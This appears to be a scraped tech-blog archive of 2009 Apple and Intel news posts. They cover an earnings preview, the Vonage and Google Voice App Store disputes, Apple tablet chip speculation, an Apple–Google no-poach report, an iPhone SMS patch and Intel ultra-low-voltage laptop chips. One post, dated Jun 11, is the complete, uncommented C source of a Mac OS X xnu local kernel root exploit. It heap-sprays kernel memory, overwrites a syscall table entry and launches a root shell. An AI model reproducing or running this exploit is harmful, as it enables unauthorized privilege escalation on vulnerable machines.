Oct 19

Although there are more signs lately that the worst of the recession is over, Apple is one of the few companies that has seen little of the effects of the recession to begin with.

We’ll find out if the company’s good health has remained during the quarterly checkup Monday afternoon. According to Wall Street, it’s been another good three months for the Cupertino, Calif.-based company. Apple’s stock price jumped 43 points during the quarter to close at $185.35. Because of a string of impressive earnings announcements dating back a year ago, the launch of the company’s latest operating system update, signs it gained share in the smartphone and computer markets, and a helpful accounting rule change, financial analysts are expecting good things from the company’s fiscal year fourth-quarter earnings.

Apple MacBook Pro

Did price cuts on the MacBook improve Mac sales for the quarter?

Analysts are expecting Apple to record earnings per share somewhere between $1.24 and $1.72, and revenue between $8.74 billion and $10.55 billion for the quarter ending September 30. Apple is known to provide consistently conservative guidance for future quarters, hence the wide gap in analyst estimates.

But a good way to know what’s to come can usually be seen in the unit sales reports. Last week IDC reported that Apple had amassed a 9.4 percent share of the U.S. PC market–a jump from the 8.6 percent of the previous quarter. Near the end of the previous quarter Apple offered some price cuts on most of its Mac models. The sales numbers for the quarter, whatever they end up being, will be regarded as a commentary on whether those price cuts went far enough.

Apple watcher Gene Munster over at Piper Jaffray says he’s had a peek at Mac unit sales for the quarter, and he says the company is on target to report sales of 2.8 million Macs. That would be an increase over the previous quarter’s sales of 2.6 million, and it makes sense: The third quarter is a traditional time for people to buy computers ahead of the back-to-school season, and Apple also released its long-awaited operating system update, Mac OS X 10.6, or Snow Leopard.

On the smartphone side of the business, if Apple does once again report good numbers, it’ll be one of the few in that industry. Despite constant attempts by rival handset makers to produce the "iPhone killer," Apple’s main competitors in the smartphone world have struggled during the most recent quarter–Nokia, Palm, and Research In Motion each posting disappointing results.

Piper Jaffray is estimating that Apple sold 7.5 million iPhones. Munster said inventory checks showed that demand for the iPhone 3GS is "outstripping supply," which means that iPhone sales for the next several quarters should be fairly steady. We should also get an update on the number of countries and carriers that have the latest iPhone model. Apple had said in July that it was supposed to be in 80 countries by the end of the summer.

The iPod is the only real question mark when it comes to Apple’s main revenue-generating products. The quarter ending in June was the first in which iPod sales saw a year-over-year drop. Apple acknowledged it last quarter, saying that it expected eventual declines in iPod sales, and that it was the reason it developed the iPod Touch. Chief Financial Officer Peter Oppenheimer actually broke out the individual sales numbers for each iPod model and cautioned that the company expected "to cannibalize ourselves with iPod Touch and iPhone."

A slew of new iPods–including the new camera-equipped Nano–were introduced near the end of the quarter, so the full effect of those new models probably won’t be visible until the following quarter.

Apple iPhone sales 

The biggest change during the quarter however had nothing to do with anything that had a keyboard or a touch screen. Apple was one of several companies to lobby (successfully) for an accounting rule change that, if applied to the most recent quarter, will likely show much higher revenue for the iPhone.

The practice–in which Apple has been recognizing revenue for the iPhone and Apple TV over a two-year period–was put in place to avoid charging a fee for every product upgrade. It was something Apple was told it would need to satisfy accounting regulations that require companies to establish a value for product upgrades. The new rule won’t change the amount of revenue coming into the company’s coffers, but it will provide a more accurate picture of how much money the iPhone in particular is bringing in every quarter.

Check back Monday afternoon. Apple’s results will be posted shortly after 1 p.m. Pacific.

Tagged with:
Sep 02

Vonage announced Tuesday that its mobile voice over Internet Protocol app has been approved for use by Apple on the iPhone and iPod Touch.

The Internet telephone service provider said it’s conducting a beta test of the app and that general availability will be announced at a later date.

Last week Apple confirmed that Vonage’s request for app approval was being held up by technical issues with the Vonage software. An Apple spokesperson told CNET News at the time that Apple was working with the developer to resolve the issue but would not elaborate on the nature of the issue.

That delay came to light on the heels of federal regulators opening a probe on Apple’s decision to keep the Google Voice application from the App Store. AT&T–Apple’s iPhone partner–has denied playing a role in that decision.

Google Voice, which allows users to receive calls placed to a single telephone number in multiple places and make cheap international calls, was deemed unfit for App Store inclusion in July, after it was released for BlackBerry and Android smartphones.

Apple, however, has said the Google Voice app was never actually rejected.

Tagged with:
Aug 17

Speculation about a rumored Apple tablet may be an exercise in futility, but it is an interesting exercise nonetheless. In this case, my speculation will extend to what may be inside an Apple tablet.

Will the design philosophy spring from the notion of an upsized iPhone or a downsized MacBook? I believe it will be the former since this is a more natural evolution of the hardware and software. But I will entertain both options.

Because this tablet is rumored to appear in 2010, the Intel silicon possibility–however remote–is, I believe, as follows.

First scenario: Intel’s next-generation "Pine Trail" Atom processor in a tablet with laptop lineage. This will offer higher performance and better power savings than the current Atom processor–which is Intel’s most power-stingy chip technology. Pine Trail integrates a graphics processor onto the same piece of silicon as the main processor–a first for Intel. (Intel’s future "Arrandale" Core i series mobile processor, in contrast, will put the main processor and graphics into the same chip package, not onto the same chip.)

Intel’s next-generation integrated graphics silicon technology is largely unknown. But tablets should deliver graphics performance that doesn’t disappoint, as this is a shortcoming often brought up by critics of Netbooks.

A real tablet based on a 600MHz ARM processor: the Archos 7

A real tablet based on a 600MHz ARM processor: the Archos 7

(Credit: Archos)

The more likely non-Intel tablet.

Second scenario: Apple’s ARM silicon in an upsized iPod/iPhone. This seems a much more likely scenario than Intel silicon. The iPhone 3GS currently uses a Samsung ARM processor that, according to reports, runs at 600MHz. How Apple would tweak this design for a tablet is so highly speculative that I will not hazard much of a guess.

Suffice to say, inside of Apple there is more intellectual capital invested in ARM-based designs than Intel-based ones because of the acquisition of chip designer P.A. Semi and the success of the iPhone. And the fact that the iPhone’s ARM processor has "Apple" stamped on it should not be overlooked.

Here’s the guess that I will hazard: a faster processor analogous to Qualcomm’s ARM-based 1GHz Snapdragon processor. Samsung and Austin, Texas-based Intrinsity announced recently that they had co-developed a 1GHz chip similar to the processor that currently powers the iPhone 3GS. And this is the same kind of processor that Qualcomm is targeting for "smartbooks", which could be either a Netbook or tablet.

Freescale's concept smartbook tablet

Freescale’s concept "smartbook" tablet

 

Graphics is less clear but U.K.-based Imagination Technologies provides the PowerVR graphics core inside the iPhone’s ARM silicon. And Apple has expressed a keen interest in Imagination by raising its financial stake in the chip design firm to 9.5 percent.

And as a final thought, it is interesting to note that speculation about an Apple "iPad" has gone beyond mere individuals to corporate entities such as Borders. Do they know something that we don’t?

Tagged with:
Aug 09

Apple and Google are said to have had an unofficial agreement not to poach each other’s employees–or at least they did while Google CEO Eric Schmidt served on Apple’s board, according to TechCrunch.

Unnamed sources told TechCrunch that no formal, written agreement exists, and that employees of one company were welcome to apply for jobs at the other, but that the two companies said they would not actively pursue hiring away each other’s workers.

It is unclear whether any such agreement would still be in effect now that Eric Schmidt has stepped down from Apple’s board of directors.

Such an agreement could stifle competition among companies that rely heavily on top-notch engineering talent. The Washington Post reported in June that the Justice Department had launched an industrywide investigation into whether companies, including Apple and Google, had violated antitrust laws by negotiating the recruitment and hiring of each other’s workers.

Tech companies have waged fierce battles to keep top talent in their ranks. In one closely watched case, Microsoft sued Google in 2005 after it hired Kai-Fu Lee away from Microsoft. The two parties eventually settled out of court. In May, IBM filed a lawsuit in federal court to prevent its former head of mergers and acquisitions, David Johnson, from joining Dell, saying it would be a violation of his contract. And last year, the company sued Mark Papermaster to keep him from joining Apple. IBM and Papermaster settled a few months later, and Papermaster eventually did start working at Apple.

Tagged with:
Aug 08

Even though Apple prevented it from listing Google Voice on the iPhone App Store, Google is planning on retooling the application as a Web-based app, according to The New York Times.

In David Pogue’s Friday column regarding the ongoing saga of Apple and Google Voice, he reveals that Google has already found a loophole:

Already, Google says it is readying a replacement for the Google Voice app that will offer exactly the same features as the rejected app–except that it will take the form of a specialized, iPhone-shaped Web page. For all intents and purposes, it will behave exactly the same as the app would have; you can even install it as an icon on your Home screen.

Google Voice is a free application that lets users assign a single number to ring their home, work, and cell phones, and also get voice mail as text transcriptions. There’s speculation that AT&T is behind the decision to block the application since Google Voice allows cheap international calls and free text messages.

It’s not clear if simply making Google Voice available as a Web app will change Apple’s mind, but there is precedent. Apple also rejected Google’s Latitude for the iPhone until it was remade as Web app.

A Google spokesperson did not say how close to completion the project might be, but reiterated a previous statement. "We will continue to work to bring our services to iPhone users, for example by taking advantage of advances in mobile browsers."

Tagged with:
Aug 03

Apple on Friday fixed an SMS-related security flaw in the iPhone that had been at the center of one of the most talked-about exploits at this week’s Black Hat security conference.

"We appreciate the information provided to us about SMS vulnerabilities which affect several mobile phone platforms," Apple representative Tom Neumayr told CNET.

"This morning, less than 24 hours after a demonstration of this exploit," Neumayr continued, "we’ve issued a free software update that eliminates the vulnerability from the iPhone. Contrary to what’s been reported, no one has been able to take control of the iPhone to gain access to personal information using this exploit."

The security flaw involved malicious SMS messages that could allow hackers to take control of an iPhone. The flaw could have let them make calls, send text messages, or almost anything they wanted on the victim’s iPhone.

Security researchers Collin Mulliner and Charlie Miller showed the flaw in action at Black Hat earlier this week. Miller said the flaw could take control of the iPhone because of the way the device handled the SMS message. Researchers at Black Hat also showed how SMS-related vulnerabilities can affect Windows Mobile smartphones including those from HTC, Motorola, and Samsung.

Miller said that Apple was first notified of the flaw six weeks ago.

According to Apple, the iPhone 3.0.1 update released today improves the device’s memory handling, essentially fixing the exploit.

The update is available by plugging your iPhone into your computer and clicking on the Check for Update button in iTunes.

Tagged with:
Jun 11

Apple MACOS X xnu <= 1228.9.59 local kernel root exploit
by mu-b – Sat 16 Feb 2008

- Tested on: Apple MACOS X 10.5.1 (xnu-1228.0.2~1/RELEASE_I386)
              Apple MACOS X 10.5.2 (xnu-1228.3.13~1/RELEASE_I386)

workqueue_additem and workqueue_removeitem do no validate the
user defineable parameter prio.
                                    (bsd/kern/pthread_synch.c)

Note: this requires quite a large amount of memory for the heap spray!

Compile: gcc -Wall -O0 -m64 xnu-workq-v2-64.c -o xnu-workq-v2-64
                  (compile 64-bit ONLY)

   – Private Source Code -DO NOT DISTRIBUTE -
http://www.digit-labs.org/ — Digit-Labs 2008!@$!

Scouce Code:

#include <stdio.h>
#include <stdlib.h>

#include <fcntl.h>
#include <string.h>
#include <sys/syscall.h>
#include <sys/utsname.h>
#include <unistd.h>

/* profil defines     */
#define PROFIL_ITEM_SIZE      64
#define PROFIL_BLK_SIZE       65536
#define PROFIL_BLK_NUM        84

/* workq defines      */
#define WQOPS_QUEUE_ADD       1
#define WORKQUEUE_PRIOS_MIN   -2
#define WORKQUEUE_PRIOS_MAX   2

/* overwrite defines  */
#define WL_LIST_BASE          0x05600000
#define WL_LIST_ACCESS        0x09000060

#define WILIST_PTR            0x10000044
#define WIITEM_PTR            0x18000044

struct workq_item {
  void *_pad[2];
  void *func;
  void *__pad[2];
};

struct workq_ops_args {
  int options;
  void *item;
  int prio;
};

static struct targets {
  const char *name;
  int auth_addr;   /* kauth_cred_get            */
  int sys_addr;    /* sysent, &__mac_getfsstat  */
} targets_t[] = {
  { "root:xnu-1228~1/RELEASE_I386", 0x0035F492, 0x00503F90 + 4 },
  { "root:xnu-1228.0.2~1/RELEASE_I386", 0x0035F429, 0x00504F90 + 4 },
  { "root:xnu-1228.3.13~1/RELEASE_I386", 0x0036094C, 0x00506F90 + 4 },
  { NULL, 0, 0 },
};

void
_dummy (void)
{
  while (1);
}

int
main (int argc, char **argv)
{
  struct workq_ops_args req;
  struct workq_item workq;
  struct utsname p_uname;
  int auth_addr, sys_addr;
  char buf[1024], *ptr;
  int id, i, n;

  printf ("Apple MACOS X xnu <= 1228.3.13 local kernel root/DoS exploit\n"
          "by: <mu-b@digit-labs.org>\n"
          "http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");

  auth_addr = 0;
  sys_addr = 0;
  uname (&p_uname);

  ptr = strrchr (p_uname.version, ' ') + 1;
  for (i = 0; targets_t[i].name; i++)
    if (strcmp (targets_t[i].name, ptr) == 0)
      {
        auth_addr = targets_t[i].auth_addr;
        sys_addr = targets_t[i].sys_addr;
        break;
      }

  if (targets_t[i].name == NULL)
    {
      fprintf (stderr, "%s: unsupported xnu version found :(  [%s]\n",
               argv[0], ptr);
      exit (EXIT_FAILURE);
    }

  printf ("* opening work queue, pid: %d...", getpid ());
  if ((n = syscall (SYS_workq_open, NULL)) < 0)
    {
      fprintf (stderr, "\n%s: syscall [SYS_workq_open]: failed: %d\n",
               argv[0], n);
      exit (EXIT_FAILURE);
    }
  printf ("done\n\n");

  printf ("* beginning spraying...\n");
  printf ("** opening profil, pid: %d...", getpid ());
  if ((n = syscall (SYS_profil, buf, sizeof buf, 0, 1)) < 0)
    {
      fprintf (stderr, "\n%s: syscall [SYS_profil]: failed: %d\n",
               argv[0], n);
      exit (EXIT_FAILURE);
    }
  printf ("done\n");

  printf ("* filling %d-bytes of kernel memory...\n", PROFIL_BLK_NUM * PROFIL_BLK_SIZE * PROFIL_ITEM_SIZE);

  printf ("** filling workitemlist pointers...\n");
  fflush (stdout);

  for (i = 0; i < (PROFIL_BLK_SIZE * PROFIL_BLK_NUM) / 3; i++)
    {
      void *arg1, *arg2, *arg3;

      arg1 = (void *) ((((long) WILIST_PTR) << 32) | WILIST_PTR);
      arg2 = (void *) 0xE4E5E6E7E0E1E2E3;
      arg3 = (void *) 0xF4F5F6F7F0F1F2F3;

      n = syscall (SYS_add_profil, arg1, arg2, arg3, 0x0);
      if (n < 0)
        {
          fprintf (stderr, "%s: syscall [SYS_add_profil]: failed: %d\n",
                   argv[0], n);
          exit (EXIT_FAILURE);
        }

      if (!(i % 32))
        printf ("** %d-bytes filled\r",  i * 64);
    }
  printf ("\n** done\n\n");

  printf ("** filling %d workitem elements...\n", (PROFIL_BLK_SIZE * PROFIL_BLK_NUM) / 3);
  fflush (stdout);

  for (i = 0; i < (PROFIL_BLK_SIZE * PROFIL_BLK_NUM) / 3; i++)
    {
      void *arg1, *arg2, *arg3;

            /*                   0X4(edx)              (edx)  */
            /*                     eax                  ecx   */
      arg1 = (void *) ((((long) sys_addr) << 32) | WIITEM_PTR);
      arg2 = (void *) 0xDEADBE03DEADBE02;
      arg3 = (void *) 0xDEADBE05DEADBE04;

      n = syscall (SYS_add_profil, arg1, arg2, arg3, 0x0);
      if (n < 0)
        {
          fprintf (stderr, "%s: syscall [SYS_add_profil]: failed: %d\n",
                   argv[0], n);
          exit (EXIT_FAILURE);
        }

      if (!(i % 32))
        printf ("** %d-bytes filled\r",  i * 64);
    }
  printf ("\n** done\n\n");

  printf ("** filling %d next workitem elements...\n", (PROFIL_BLK_SIZE * PROFIL_BLK_NUM) / 3);
  fflush (stdout);

  for (i = 0; i < (PROFIL_BLK_SIZE * PROFIL_BLK_NUM) / 3; i++)
    {
      void *arg1, *arg2, *arg3;

      arg1 = (void *) 0x0000000004EB9090;
      arg2 = (void *) ((((long) auth_addr) << 32) | 0xB8E58955);
      arg3 = (void *) 0xC9105089D231D0FF;

      n = syscall (SYS_add_profil, arg1, arg2, arg3, 0xCCC3);
      if (n < 0)
        {
          fprintf (stderr, "%s: syscall [SYS_add_profil]: failed: %d\n",
                   argv[0], n);
          exit (EXIT_FAILURE);
        }

      if (!(i % 32))
        printf ("** %d-bytes filled\r",  i * 64);
    }
  printf ("\n** done\n* done\n\n");

  printf ("* adding dummy workq to lists...\n");
  memset (&workq, 0, sizeof workq);
  workq._pad[0] = buf;
  workq._pad[1] = buf;
  workq.func = &_dummy;
  workq.__pad[0] = buf;
  workq.__pad[1] = buf;

  for (i = WORKQUEUE_PRIOS_MIN; i <= WORKQUEUE_PRIOS_MAX; i++)
    {
      memset (&req, 0, sizeof req);
      req.options = WQOPS_QUEUE_ADD;
      req.item = &workq;
      req.prio = i;

      printf ("** adding dummy worklist item: %d...", i);
      if ((n = syscall (SYS_workq_ops, req.options, req.item, req.prio)) < 0)
        {
          fprintf (stderr, "\n%s: syscall [SYS_workq_ops]: failed: %d\n",
                   argv[0], n);
          exit (EXIT_FAILURE);
        }
      printf ("done\n");
    }
  printf ("* done\n\n");
  sleep (1);

  memset (&req, 0, sizeof req);
  req.options = WQOPS_QUEUE_ADD;
  req.item = (void *) 0xCAFEBABE;
  req.prio = (WL_LIST_ACCESS - WL_LIST_BASE) / 16;

  printf ("* overwriting @0x%08X with 0x%08X\n", sys_addr, WIITEM_PTR);
  printf ("** req.prio: 0x%08X, access @~0x%08X [with offset: 0x%08X]\n",
          req.prio, WL_LIST_ACCESS, WL_LIST_BASE);
  sleep (1);

  if ((n = syscall (SYS_workq_ops, req.options, req.item, req.prio)) < 0)
    {
      fprintf (stderr, "%s: syscall [SYS_workq_ops]: failed: %d\n",
               argv[0], n);
      exit (EXIT_FAILURE);
    }
  printf ("* done\n\n");

  printf ("* jumping....");
  sleep (1);

  if ((n = syscall (SYS___mac_getfsstat, 0, 0, 0, 0, 0)) == 0)
    {
      fprintf (stderr, "\n%s: syscall [SYS___mac_getfsstat]: failed: %d\n",
               argv[0], n);
      exit (EXIT_FAILURE);
    }
  printf ("done\n\n");

  id = getuid ();
  printf ("* getuid(): %d\n", id);
  if (id == 0)
    {
      printf ("+Wh00t\n\n");

      /* exec shell, for some reason execve doesn't work!?$! */
      system ("/bin/bash");
    }
  else
    fprintf (stderr, "%s: failed to obtain root :( \n", argv[0]);

  return (EXIT_SUCCESS);
}
Tagged with:
Jun 02

Intel is launching its line of processors for thin, inexpensive laptops at the Computex tech conference in Taipei. Intel marketing chief Sean Maloney talked about this in a phone interview.

Intel marketing chief Sean Maloney

"It’s clear that people like devices to be thin and light," said Maloney, who was speaking from the Computex conference in Taipei where he will be giving a keynote on Tuesday.

"We’ve really taken that to heart and come out with a complete top-to-bottom range of microprocessors that enable radically longer battery life and much smaller designs," said Maloney, referring to Intel’s new lineup of consumer ultra-low-voltage (CULV) processors.

Maloney continued. "There are a lot of computers being announced here (Computex) that look like conventional notebooks in terms of how wide the screens are, but they’re super-thin, the performance is very good, and they get up to nine hours battery life without a big, fat battery at the back," he said.

MSI X340 X-Slim laptop is one of the first CULV laptops

"It’s a big change for industry. It means the technology weaves its way into your life more because you’re going to have all-day notebooks," Maloney said.

                                                                                                                                                                more

Tagged with:
preload preload preload